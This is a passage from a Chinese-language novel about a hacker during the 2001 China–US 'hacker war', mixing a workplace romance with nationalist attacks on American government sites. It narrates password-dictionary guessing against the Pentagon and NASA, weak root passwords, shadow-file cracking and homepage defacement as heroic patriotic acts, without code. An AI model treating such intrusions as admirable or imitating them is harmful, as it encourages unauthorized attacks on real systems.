      谅你们的。有张盘,你拿回去看看。
        我在车上才把这话回味过来。我看了看手上的磁盘。我已经猜到了里面是什么了。

        果然,当我回到宿舍后,打开磁盘,我看到了一个威力巨大的攻击软件。不同于儒虫
      ,不同于邮件炸弹,这是一个做得精致可以说是完美的程序。它可以截取远程系统的序列
      号。要知道,每一个用户请求登陆时,系统会对登陆名和密码进行确认,这一切都是经过
      数据链路层进行的。一般的黑客工具都是试图截取数据链路层的数据以获得权限。可这个
      程序,可以通过物理层的特性来取得权限!!

        我几乎是嫉妒地看着这个软件,我宁愿用全部的积蓄换取它的源代码!
        我恨恨地骂了一句。因为,这个软件的有效期是五月七号。我想都没想到要破解有效
      期,我有一堆的将试用版转为完全版的软件,可我根本就不用去试。
        能写出这样的程序的人,你就别指望能破解。
        我不是轻易被打击的人,可我的确很佩服他。我不知道是不是杨成写的,不管是谁,
      我都感到了自己的浅薄无知。我曾经在井底望着天,现在想起来,有太多的东西值得我去
      学。我知道中国的黑客水平,我算顶尖高手了,却也是拿着老外写的工具去攻击老外。就
      算偶尔自己写了一两个程序,也顶多是做做小修改,从来没有从系统的角度改善它。我真
      有点怀疑这次的攻击行动能有什么意义了。靠人海战术让老美的网站瘫痪几个小时有意义
      吗?是显示中国人民的技术实力,还是显示中国有十二亿人?

        我长久的思索着。
        电话响了,我抓起电话,是小茜。
        你怎么把手机关了?知不知道我找你找得好辛苦!!
        小茜的声音似乎有点快哭出来了。我记起来了,在车上我被要求把手机关上。一回来
      我就忙着看程序去了。
        我有点愧疚的说,对不起,让你着急了。
        我看你被几个人带上了一辆警车牌照的车,出什么事了?
        没事,没事,这不已经回来了吗?
        我不想告诉小茜这件事,一是不想让她为我着急,二也是觉得女孩的口风不紧,说不
      定过几天全公司都知道我的底细了。
        我过来看你。小茜在话筒那边说。
        不用了不用了,我急忙说。我还要花点时间研究一下那个程序,另外也要和肥猫通个
      气。
        真不用了?
        真不用了,我挺累的,想早点休息。
        那,好吧。
        小茜挂断了,我听出来,她似乎很失望。我把话筒拿在手上,半天也没放下。
        我也很失望。真希望小茜能坚持一下。
        虚伪的男人啊!

        我无精打采地走进办公室。昨天晚上等了很久都没有等到肥猫,这让我很惊讶。在我
      的印象中,这是很少出现的情况。按肥猫自己的话来说,一天让他不上网,比杀了他还难
      受。

        早知还不如把小茜叫来,我想入非非。
        迎面而来的小茜和我打了个招呼,我向她笑了笑。小茜仔细地看了看我,发现我身上
      没有被警察虐待的痕迹,放心的走了过去。我感觉她有意无意地撞了一下我的肩。我对此
      很受用。

        主任匆匆地走出去。我看到他慌张的神色。就算是前几天公司系统被黑也没见他这么
      慌张过。我心里一动。跟着他走了出去。
        在一楼的大厅里,我看到主任和几个人正在交谈着。而那几个人,赫然站着杨成!

        我的脑袋里闪过一个词——奸细!!
        难怪,难怪,我自言自语。我都说不出我现在的心情了,没有一点愤怒,只是平静。
      我看着主任和杨成一起,走出大厅,上了那辆黑色小轿车。
        我木木的站着。我的愤怒开始一点一滴回来,凝聚成火焰。
        等着瞧!!我咬着牙。
        主任一个小时后就回来了。他进门我就拦住他。主任吃惊的望着,我看出他的脸色很
      不好,几乎是雪白的。我认为这是心虚的表现。我说,我要和你谈谈。我虽然仰制怒气,
      但傻子都能听出我的口气不善。主任盯着我看了好一会,似乎不明白我的意思。

        最终我和主任面对面坐在主任的小办公室里。
        有什么话快说吧,主任似乎很不耐烦。
        你是怎么知道的?我说。
        什么?主任没听明白。
        我是说,你怎么知道我是天王?
        我看出主任的嘴突然张得很大,他盯着我看,好象不认识一样。
        你说,哪个天王?
        我的怒火越来越盛,居然还在装模做样!
        除了网络里的黑客天王,还有谁?我竭力让自己冷静下来,说。
        主任长久地看着我,然后说了一句让我无法冷静下来的话。
        我不知道你是天王。
        你和杨成的说话我都看到了,还想骗我?我四处找杯子或烟灰缸一类的硬物。
        杨成来找我谈话,因为,主任长长地吸了口气。
        因为,我是肥猫。
        一个天大的笑话,我的耳边一片轰鸣,只看到主任的嘴唇在动,听不清说什么。
        我想过会和肥猫见面,但打死我也想不到在这种情况下。

        这是一个奇妙的社会。人和人之间的关系微妙、复杂、单纯。
        我不了解主任就象我不了解大街上的一个陌生人。我了解肥猫就象我了解我自己。我
      知道肥猫的喜怒哀乐,就象知道自己一个人在夜晚关机之前那种似乎失去一切的悲哀。看
      着屏幕的一闪,陷入死寂,我的心便也空荡起来。然后我只有在黑暗中,让自己尽快的睡
      去。睡去不是为了本能,而是我们明天不得不工作。

        肥猫和我讨论这个话题时,我和他都有一种世界末日似的感觉。
        我看着眼前的主任。白白胖胖,肚子发福,带着习惯的微笑,有点浮肿的眼睛。此刻
      ,他的微笑有点凝固,变得很怪异。你可以想象当一个人笑容出来了一半是什么表情。浮
      肿的眼睛是夜生活的象征,这和我是一致的。除此之外,我在主任身上找不到任何我在网
      络中所熟悉的特征。

        我和主任就这么面对面坐着。若干时间后,我起身,走出房间。

        我实在没法说什么。房门关闭时,我眼角的余光看到主任重重的往椅子上一靠,似乎
      失去了全身力量。

        我和小茜在小区的花园中行走。傍晚的太阳有一种灿烂的旋目,两人无语。我想我越
      来越欣赏小茜了。一个真正的女人应该在他身边的男人重重心思时,陪着他静静地走一走
      。我不喜欢自作聪明说得太多的女孩。

        你觉得主任怎样?我忽然问了一句。
        小茜好象早就知道我要问这一句。也许是我早上从主任房间出来时就看到我的表情怪
      异了。
        在这个社会上,人都在保护自己,都在隐藏自己,小茜似乎在自言自语,这不是一种
      错误,只是一种本能,就象动物的保护色。我们没有方法指责,尤其是女孩。小茜别有深
      意地看了我一眼。你太追求完美了,你不再改变的话,注定是遗憾中孤独地生存。

        现在不是在校园中了。小茜说。
        我重复了一句——不是在校园中了。
        一种久违的感动出现在心底。不是为了那句话,而是为了有这么一个人对我说出了那
      句话。
        我对小茜说,我知道。
        我本来就知道。但有人以朋友的身份,以一种温暖的语气说出这句话,我不免对这个
      社会产生了一点信心。
        我对小茜说,今晚,去我那里,好吗?
        小茜好象会错意了,红着脸说,我才不去了,才几天,就想……
        我笑了。我用一种很温柔的口气说,今晚你一定要去。
        剩下的一句话我没有说。今晚是确定明天总攻的最后一次战前讨论会。我宁愿让小茜
      红着脸想偏了。
        这让我有一种大战前的紧张与刺激。

        看到桌面出现的一个美丽女孩的照片,小茜的脸色很不好看。我也没指望她兴高采烈
      。让我惊讶的是,小茜没有问我这个女孩是谁,我还希望她能问一下,我可以告诉她我以
      前的情感。那个世界已经封闭很久,是需要人进去打扫一下的时候了。

        我在聊天室的登陆名中敲入不长叶子的树。小茜张大着嘴看着我,作为一个网络中的
      自由者,当然知道这个名字代表什么意思。
        是的,代表天王。
        如果说,以前的天王是一个消极面对的人,那从现在起,我逃出了给自己设下的牢狱
      。我知道,当我再往镜子中看时,我将不再看到面目狰狞。我会看到平和,宁静,充满希
      望和斗志的我。

        也许,是因为小茜的存在,或者准确的说,是因为偶然的机会让小茜进入了我的生活

        人基本上都在,包括肥猫。我和往常一样先和肥猫打招呼,他也和往常一样和我打招
      呼。我忽然觉得上午的一切似乎都没有发生过。那种熟悉亲切的感觉又回到了我身上。我
      相信肥猫也是如此。如果他不和我一样,那我也就不会和他交往这么多年了。

        红客的领袖作为临时指挥中心的牵头人,先发表了讲话。我们就称他为RED吧。黑客联
      盟的组织者——BLACK.飞鹰——EAGLE.
        RED的口气中带有一丝沉重和不安,但愿只是我的感觉。如果我和肥猫在政府的监控下
      ,他能例外吗?
        谁也不知道RED是谁,在中国的网络中,这是一个神秘的名字——似乎在网络诞生的那
      一刻起,这个名字就已经存在,而且将永远成为网络史中的一个传奇。就象中国大多数黑
      客在入门时看着台湾软体蛀虫的教材一样。

        RED告诉我们,不要在美国人的网页上留下过于激进的话。这立刻遭到了EAGLE的反对
      。EAGLE对美国,对日本,对印度等等非友好国家的态度从来就是一句话——灭了这帮XXXX
      的!用政治术语来说,属于左派。

        我要在美国情报局的网页留下几个字:I WILL KILL ALL AMERICANS!
        EAGLE敲出一个愤怒的符号。在上一次的会议中,将美国情报局分配给了他。
        这不代表任何意义!RED说。
        至少代表了中国还有一群有血性的男人!
        我看着两人的争吵。作为独来独往的逍遥派,我不好说话,虽然我比较赞成RED.但存
      在的总是合理的。
        小茜默默的看着,我惊讶她的态度。我想起了平时风风火火的她。我说,他们总是这
      样,知道吗,一山不容二虎。
        其实这是鸽派和鹰派之争。这话我没说,女孩一般不关心政治,我也只想和女孩讨论
      生活。
        我对小茜说,我们出去走走。
        我希望在战前能轻松一下。他们的争吵我已经习惯了。吵到最后一般是以EAGLE的妥协
      告终。肥猫告诉过我,一旦做出决议后,EAGLE不会再说什么。用一句话来解释,这是人民
      内部矛盾。

        这是一个温暖的夜晚,夜晚中有一只温暖的手,还有分布在九百六十万平方公里的一
      起奋斗的人。有争吵,也有欢笑,有共同的信念,有共同的敌人。

        不知从什么时候起,我开始恐惧死亡。我记得在我很小的时候,我想到死亡就象面临
      着无边无际的黑暗。在青春发育的那几年里,对死亡的恐惧和对女人的向往同时左右着我
      的身体。我清晰的记得家后面的小山。那里堆砌着坟墓。豪华气派的,落魄凋零的。我时
      常可以看到腐烂的木材,倾倒的石碑,残破的瓦罐。为了克服对死亡的恐惧,我每天早上
      跑到山坡上。那里有一座气派的水泥墓。我坐在台阶前,大声朗读着英语。不知道是不是
      我的训练起了作用,在高中毕业后,我已经忘记了什么叫死亡。

        然而,此刻,这种恐惧又回到了我的身上。当我面对着黑色的屏幕,我竟然没有勇气
      打开它。我怔怔地看着表。还有一个小时,攻击就要开始了,而我,却在颤抖。是害怕?
      是激动?

        我忽然怀念没有网络的生活。没有网络的生活中,充满了朋友愤世嫉俗的指责,充满
      了瓶瓶罐罐的撞击,清脆响彻在大学校园的操场上。
        我仍清晰的记得老师的声音:我们现在要讲的DOS操作系统,估计就要被淘汰。微软公
      司最近推出了一种叫WINDOWS的窗口式操作系统……
        我在声音的回荡中,按下了POWER键。
        我无法确定死亡和我目前的行动有什么内在的联系,有时候我会在毫不相干的物体间
      联想。我穿越物体空间,就象穿越时空。
        恍惚之中,无数闪烁的星星飞过,无数的数字在变换,扭曲,伸缩。我就象星孩中的
      大卫,知道自己要回到出生的地方。
        一切静止了。我站在美国的自由女神的火炬下。上面写着:欢迎一切渴望自由的人。
      这里是你们的家。
        我说,这里不是我们的家。我们的文化不需要侵略。
        我相信这个世界终将统一,这个地球终将没有战争,没有冲突。但不是现在。
        现在,我们要用自己的方式维护我们的民族尊严。

        这是一个坚固的城堡。我先连接到德国柏林大学的校园网,然后转登到韩国,再转到
      俄罗斯,最后来到了五角大楼和航空航天局门前。这两个该死的系统连个帐号都不给我。
      我为这两个系统编写了两个不同的密码档。在为五角大楼的密码档中,包括了所有我能查
      阅到的美国军人的名字。巴顿,艾森豪威尔,鲍威尔……。我把他们的名字正着敲,反着
      敲,加上一个美国人对名字的昵称,加上他们的生日,他们的入伍日期,加上五角大楼的
      建成日期,加上美国建国年份,加上国庆日。在NASA的密码档中,则是所有宇航员的名字
      和历次飞船升空的日期。我满脸仇恨眼框布满血丝,孜孜不倦的守侯在机子前。看着进度
      缓慢的增加。三个小时过去了,我已经攻破了好几个一般的网站,可这两个系统的破解进
      度已经百分之五十,仍然没有猜对一个帐号和密码。

        已经传来消息,白宫网站被潮水般登陆的中国人堵塞了。系统已经关闭。十分钟后开
      启,又再次堵塞,于是再次关闭。
        这不算什么胜利,没有侵入到内部。倒是飞鹰已经侵入了中央情报局,在主页上留下
      了一面红旗,和中国失踪飞行员的照片。正如肥猫所说的,他没有留下过激的话。
        RED也已经进入了时代周刊和纽约时报的网站,贴了一篇中国黑客声明。
        我狠狠地砸了一下显示器。显示器闪烁了一下,不动声色的继续运行。
        我准备向RED求助。这不是什么羞耻的事。入侵系统只有靠猜密码,有时试几次就出来
      了,有时好几天。我曾经试过一个星期才找到帐号和密码的。当然那时处在摸索阶段。后
      来总结出来了一点规律——对军事网站的帐号,就不用去试什么SU,ROOT,SYSTEM等等,
      根本没用。对一般的网站,用这些帐号十拿九稳。我就入侵过帐号是ROOT,密码是123456
      的系统。

        忽然之间机子发出五佰的歌声——那里湖面总是澄清,那里空气充满宁静……。
        那里当然没有澄清的湖面,也没有宁静的空气。我喜欢这首歌,因为对我来说,一个
      系统的内部就是一片挪威的森林!
        是五角大楼!我进去了!我看了一下帐号,吃惊的发现是CHINARUSSIA,密码是STARW
      AR.真是侥幸。我把与美国不友好的国家名字,和与战争相关的词输入,让他们自由组合测
      试。看来五角大楼的程序员们也患了一个通常的致命错误——用单词作为密码。甚至连大
      小写都不分。

        我怀着复杂的心情,开始了五角大楼内部的搜寻工作。看来,这个帐号的主人权限不
      小,可以修改或创建用户组。其实我也该知道的,权限大的人,除了系统管理员,一般都
      是官僚。越是官僚就越没有保密本能。

        我轻松地打开VI,运行我编写的解密码SHADOW的程序。接下来的事情就顺理成章了。
      我在主页上放了一幅漫画:布什拿着导弹发射器,对着地球说,我要给你民主。
        我讨厌强加的民主。
        NASA的系统仍没有攻破。我决定把密码文件修改一下。漫长的假期,要做的工作多了

        我在荒原行走,饥渴。天上的九个太阳温柔地抚摩我干涸的肌肤。我把鲜血涂抹在身
      上,我感到一丝清凉,我知道这是死亡前的清凉,但我无法抗拒。我在手腕上割出一道深
      深的口子,让涌出的鲜血流进我的嘴里。我的牙齿越来越长,我的头发也越来越长,我发
      现变成了狼,一头荒原上独自行走的狼。

        我仰天长啸,声音凄厉的穿过干燥的空气,壮烈地冲向太阳。
        有一只猫怜悯的看着我,用历经沧桑的眼睛。我从它的眼里读到了它的过去,它前几
      次生命的历程。我问它,你现在是第几命了?猫说,第九命了。
        我说,于是你隐藏起来,把你锋利的爪子折断,把你的爱恨喜怒放在心里。你的身体
      越来越肥,你终于成功的修道,变成了一只肥猫。
        猫说,你还有其他的办法吗?它的身体颤动,悲哀。
        我无言以答。
        是啊,我们还有别的路走吗?
        看看天上的太阳吧,猫说。有时我向往那里,我知道在那里我将没有任何躯体,也许
      我还到不了那里,但我仍然渴望着。
        我渴望轰轰烈烈的过程,猫悲哀的说,但我只能是渴望。
        从黄土上散发出的热浪让我的眼睛一片模糊。我说,我连渴望都没有。
        有时这是一种幸福。猫说。知道吗,悲观的人总是看到红灯,乐观的人总是看到绿灯
      ,在我的眼里,真正开心的人是色盲。
        我和这只肥胖的猫面对面坐着,我发现自己的身体逐渐变胖。我恐惧。肥胖的猫可以
      在人群中生活,肥胖的狼却将在自然中灭亡。
        但我无法阻止,我看着自己的身体象气球一样膨胀,我的皮肤逐渐变薄,变透明,我
      可以清晰地看到里面的血肉。千万条血管欢快的奔腾,为即将冲出牢狱而欢呼雀跃。
        我的身体在一声巨响中粉碎,块块的碎片,毛发,混合着血水,滴落在干裂的土地上

        我在此时醒来。我觉得后面会发生一些变化,也许有乌云,有暴雨,有彩虹。可是我
      醒来了。我茫然地看着手机上的时间显示。我不再想梦中有什么。我只想到,中午吃什么
      呢?

        我拿起快餐店的菜单,拨了几个号码,门铃响了。我放下电话,拿起门上的对讲机。
      一个声音说,起来了?我说,起来了。那个声音说,吃过饭了吗?我说,正打算叫快餐呢
      。那个声音说,我给你带了,开门吧。

        我按下开门按纽,我想起这个声音是小茜的。想起这一点费了我很大的努力。以至于
      我在吃着鸡腿时有点惭愧。
        幸好小茜不知道。她坐在一旁,专心致志地看着我吃,眼睛眨啊眨,让我觉得鸡腿里
      是不是放了香水。否则为什么我的嘴里我的气息里都是小茜身上淡淡的清香?
        吃完了,我发现自己的思维正常了。看来熬夜和饥饿很容易让人的精神出现问题。在
      我考虑吃饱了后要做点什么的时候,古人已经替我安排好了。
        饱暖思淫欲。
        这是我第一次吻小茜。我觉得我的唇干燥,就象梦里的荒野。小茜的唇湿润,一点一
      滴滋润着我。我就象久旱的植物,用我所有的根系贪婪地吸取大地的甘露。我闭上眼睛,
      黑暗中宁静温馨潮水般涌来,我在潮水中呼吸,自由。

        我感到了我身体的活力,我在小茜温暖的气息中感受到了一种称为幸福的感觉。
        还有渴望。
        我不知道现在的渴望和梦中的渴望有什么相同之处。人都是在极度的情绪中渴望。渴
      望朋友,渴望爱情,渴望充实,渴望快乐。
        我的手指在小茜的身体内滑行。小茜在颤动。我没有体会到拒绝,只有羞涩。
        我忽然觉得悲哀。我的羞涩在哪里?在许多年前的记忆里?
        在光滑的背上,我的手停滞下来。我不知道我在想什么。我只知道我的心中一片空白
      。小茜一动不动地伏在我怀里。我知道她在想什么。
        你有没有体会过,忘记自己的时候看到了对方的内心世界?
        电话尖锐地响起。实际上,电话铃很悦耳。我不知道是气愤还是解脱,拿起了电话。

        杨成的声音。
        恭喜。他说。昨天你们攻破了231个美国网站。其中190个是拒绝访问式,30个是链接
      错误式,11个是侵入修改式。231个中,防范级为C的有210个,为B的有15个,为A的有6个
      。你占据A中的一席,所以祝贺你。

        停了停,他说,中国的网站有25个被攻破。全是侵入修改。防范等级为A的有5个,为
      B的有20个。
        我沉默,我知道杨成要说明什么。但我只能说,我不明白你的意思。
        杨成说,我没对你说过任何话,我也不需要你明白我的意思。攻破的六个防范登记为
      A的系统中,有两个是俄罗斯的同行帮忙。
        那有什么关系?我说,俄罗斯也是在帮自己。
        杨成说,你为什么不用我给你的工具?
        我沉默。
        我不想解释。我的自尊,身为天王的荣誉,让我无法接受杨成的馈赠,特别是处在杨
      成这样的身份。
        我反问一句,你为什么不自己去用?
        电话那头一片寂静,然后传来一声叹息。
        “嘟嘟”的忙音响起。
        我回头看了看小茜,她一直在看着我。
        我说,我们继续好吗?
        这是一句很无聊的话。在不恰当的时候,在不恰当的地点。我说出这话就后悔了。我
      觉得自己是越来越白痴了。说这话我能指望女孩做什么反应?点头说OK吗?
        让我惊讶的是,小茜很恰当地回答了我的话。她什么都没说,只是又闭上了眼。
        我越来越觉得小茜是个可爱的女孩了。
        在这后面的一段时间里,我把网络,把黑客都忘记了。我不是什么黑客天王,不是什
      么网络中的孤独的侠客。我也不叫不长叶子的树。我只是一个普通人,渴望爱情,渴望女
      人的身体,渴望现实中的正常生活。

        我在快乐中忘记过去。我在快乐中憧憬未来。我在快乐中享受现在。

        这是一个温馨的夜晚。小茜在台灯下看书。我在计算机前努力工作。小茜在台灯上罩
      了一个红色的塑料袋,于是整个房间笼罩在迷离的气氛中。我坐立不安地敲打着键盘。终
      于,我回头说,小茜,能不能把那个该死的塑料袋拿走?小茜说,为什么?

        我说,这玩意让我无法安心。总让我想干点别的事。
        小茜莫名其妙地看着我。我不怀好意地看着她。小茜似乎明白了什么,红着脸把塑料
      袋扯下。也许没有红脸,只是灯光的错觉。
        我安心了,看着眼前的屏幕。我正和几个天王总结昨天的战况。我把杨成告诉我的数
      据说了一下,网上一片沉默。技术上的落后是一个永远的痛。我们有什么办法?操作系统
      ,不管是WINDOWS,UNIX/LINUX,都是老外的。有一段时间,把微软在WINDOWS上安装后门
      的事情抄得火热,到后面还能怎么样?该买的不都要买?不用WINDOWS,用什么?

        只有靠我们这一代努力了。肥猫说。
        我似乎能看到主任胖胖的脸上闪动着无可奈何。从知道肥猫的身份起,我对他的第一
      反映由一只肥肥胖胖懒懒散散,老打哈欠的猫,换成了主任的严肃表情。很奇怪,这两者
      已经完美的结合在一起了。我想象两者时没有任何的别扭。

        RED通报了一下攻击纽约时报和时代周刊的情况。他在上面发表的黑客宣言是经过我们
      一致通过的。
        EAGLE说了一下中央情报局的情况。我感觉他也费了很大的力气,这从他的口气中就猜
      得出。EAGLE把中央情报局的系统骂得狗血临头,对RED不让他贴过激言语还在耿耿于怀。

        下次还不知道有没有这么好的运气能进去了,EAGLE说。
        肥猫的任务是一些美国的政府部门,他负责的美国能源部的系统,是最早侵入的,被
      国内外的媒体广泛报道。我有点怀疑肥猫是不是用了杨成提供的工具。但我只是怀疑,我
      不会问。这是黑客之间的守则,除非自愿,任何一个黑客不能询问另一个黑客是如何侵入
      系统的。当然,现在我和肥猫的关系有些特殊。

        我说,我想邀请一个人参加我们下一步的行动。RED,BLACK和EAGLE说没问题,我介绍
      的人肯定可靠。肥猫却反对。
        我觉得这个圈子还是控制得严一点好,现在政府对这个事件的很敏感,人多了会出问
      题,肥猫说。
        我当然知道肥猫为什么反对。他知道我想推荐谁,他的反对也是为了小茜。
        是啊,谁知道这个事件后,杨成会怎么对待我们?利用完了,是不是就消灭掉?在杨
      成的心里,想必也是把我们这几个当做心头刺吧?
        但,我还是宁愿相信杨成。也许是他在电话那头传来的那一声叹息。我知道自己还是
      显得幼稚,按肥猫后来对我说的,你啊,还是年轻了点。我回答说,不管怎么样,现在的
      结局不是很好吗?

        虽然肥猫的反对,我还是坚持。这个一个松散的组织,每个人凭自己对祖国的热情和
      信念在做出没有任何报酬的牺牲。何况,在这个圈子里,我拥有比肥猫更崇高的声望,RE
      D,BLACK和EAGLE也支持我。

        我把小茜叫到机子前,让她看上面大家对她的欢迎词。小茜笑了笑。
        我看得出她是比较开心的,可是,在我想象中,她应该比这更开心的。也许,在几天
      前,如果告诉她这个消息,她会激动得手足无措,可是现在,她只是高兴的笑了笑。
        我真不明白女孩。是不是得到爱情和家庭后,对事业的追求就会变淡了?
        不管怎么说,我很高兴,能和小茜一起并肩战斗。
        起码不用自己叫快餐了,我偷偷地想。

        战争已经进行了四天。没有硝烟,没有鲜血。除了NASA的系统外,我已经完成了分配
      给我的所有任务。面对着NASA坚固的防线,我几乎要放弃自己的固执。为什么不用杨成给
      的软件?我面对着系统的一次次错误提示,恼怒地想。

        我打了个电话给肥猫。不管怎样,我还是习惯称他为肥猫。
        你用的什么工具?我问。
        肥猫知道我的意思。他沉默了好久,然后一字一句地对我说,那只不过是工具罢了。

        我没听明白。
        肥猫说,我一开始就没想过不用。重要的是结果而不是过程。
        人追求的不是过程中的美丽吗?我说。
        没有结果的完美,过程有什么意义?肥猫说,人总是这样,局限在自己的天地里,为
      了自尊和虚荣,错过了很多东西。
        我忽然想起自己的过去。我的过去有一颗晶莹的眼泪。
        你说不用他的工具,那你能不能不用所有软件?你可以自己去编一个,我相信你也能
      编出来,可你用的语言,你的软件工程的思想,是你自己的吗?
        在我这个年龄,肥猫说,是怎么方便怎么用。我没有时间也没有精力和自己斗气。

        我没有办法回答。毫无疑问,这是对我的人生观念的一次挑战。
        我握着话筒。很久。
        我说,是社会改变了人,还是人改变了社会?
        没有回答。肥猫已经挂线了。
        我默默地挂上电话。
        取出那张磁盘,我深深地看了一眼。我知道,一旦用了它,我就将失去了一些珍贵的
      东西。我曾经追求过完美,但理想还是不能改变现实。
        在软驱前停留了一下,我用力一推。我听到弹簧清脆的声音,如此美妙,在我的理想
      世界中滑过,就象飞鸟掠过天空的痕迹。
        是的,有一道看不见的痕迹。

        三天后,五月七号。中华黑客联盟、中国红客组织、中国飞鹰三大组织发表联合声明
      ,宣布停止对美国网站的攻击。历时七天的中美黑客大战结束。

        我和小茜、主任面对面坐着。餐厅的气氛很好,有轻音乐,有人低低地细语。主任总
      是用一种审视的眼光看我,想发现一些不寻常的地方。
        你大概发现了,我叙述这个故事的时候,一会儿用肥猫,一会儿用主任。这说明我已
      经能分清现实和网络了。现实中只有主任,网络中才有肥猫。能分辨这一点让我很惊讶。
      我记得以前都在这两个世界的边缘。

        我面带微笑。应该说是幸福的微笑。我的手和小茜的手握着,这让小茜感觉很羞涩,
      也让主任感觉很难受。
        活该。我想。虽然几天前发的工资条上显示,我的工资级别加了一级,我还是没有对
      主任表现出友善来。我发现这段时间来,主任几乎是在讨好似的对我微笑。
        你真的决定了?主任说。
        我说,是。
        主任很羡慕的看着我。此刻他的眼神不只是是作为领导的。当我昨天把辞职信交到他
      手里时,他只看了一眼标题就做出了一个领导的反应——遗憾,惋惜,好象说你怎么能这
      样公司待你不薄等等。

        我相信作为一个朋友的立场,他会理解我的。我们都清楚的知道做为一个科技人员的
      辛苦。我们整天喊着创造价值,却忘记了找到自己。我记得以前我有很多理想的。当年我
      在校园中满怀柔情地对女朋友说,毕业后我要带你去天涯海角。

        毕业后的几年里除了过年回家我没有离开过深圳。我在匆匆中忘记了诺言,忽略了最
      珍贵的。
        找好了工作没有?主任说。
        我犹豫了一下,还是决定说实话。
        杨成告诉我,他那里有个空缺。
        主任吃惊地看着我。呆了半天,不知道对自己还是对我说,那也好,那也好。
        不过,我不会很快去上班的,我说,我要休息一下。我看了看小茜,她也在看着我。

        有时候,人是需要改变的。主任说。
        对,就看有没有改变的勇气。
        对了,RED和BLACK他们问我,上次开总结大会的时候,是不是你在捣乱?
        我笑了,你说呢?
        挽着小茜的手,我出了餐厅的门。回头看了看主任。
        网上见,肥猫。我说。以后我是猫你是老鼠了。见到我可要小心一点。
        主任笑了笑。网上见,天王。我会更放心大胆了。

        走出了很久。阳光刺眼,我把眼睛眨了眨。
        怎么了,小茜说。
        我说没事,你想去哪玩?
        随便你啦。
        那就离开深圳。
        这座飞速的城市,每天接纳着无数理想和热情的年轻人。他们在这里创业,恋爱,生
      活。每天有许多的故事,也会有人很多人离开。
        这是一个普通的故事,发生在虚拟世界,也发生在现实世界。有很多人关注过它,然
      后又慢慢遗忘。只有在若干日子的又一次网络卫国站中,它才会被作为历史偶尔写上一句
      。对我来说,这一切并不重要。

        重要的是,它发生了。而且改变了我。